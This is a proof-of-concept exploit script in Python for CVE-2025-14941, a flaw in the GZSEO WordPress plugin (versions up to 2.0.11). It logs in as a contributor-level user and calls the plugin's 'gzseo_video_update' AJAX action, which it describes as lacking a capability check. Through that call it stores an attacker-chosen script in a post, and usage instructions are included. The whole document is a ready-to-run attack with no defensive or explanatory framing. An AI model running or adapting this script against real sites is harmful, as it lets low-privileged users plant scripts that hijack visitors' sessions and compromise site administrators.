CVE-2025-14941

import requests import sys # CVE-2025-14941 PoC - GZSEO Plugin Authorization Bypass + Stored XSS # Target: WordPress site with GZSEO plugin <= 2.0.11 def exploit_stored_xss(target_url, username, password, malicious_script): """ Exploit the authorization bypass to inject XSS payload into posts """ session = requests.Session() # Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Logging in as {username}...") resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Get WordPress nonce for AJAX requests nonce_url = f"{target_url}/wp-admin/admin-ajax.php" # Exploit: Send malicious embed_code via AJAX (no capability check) exploit_data = { 'action': 'gzseo_video_update', # Vulnerable AJAX action 'post_id': '1', # Target post ID 'embed_code': f'<script>alert("{malicious_script}")</script>', '_wpnonce': 'exploit' # Nonce not properly validated } print(f"[*] Injecting XSS payload into post {exploit_data['post_id']}...") resp = session.post(nonce_url, data=exploit_data) if resp.status_code == 200: print("[+] XSS payload injected successfully!") print(f"[+] Payload will execute when accessing post ID: {exploit_data['post_id']}") return True else: print(f"[-] Exploitation failed with status: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <xss_payload>") print(f"Example: python {sys.argv[0]} http://example.com contributor pass123 'XSS by CVE-2025-14941'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] payload = sys.argv[4] exploit_stored_xss(target, user, pwd, payload)

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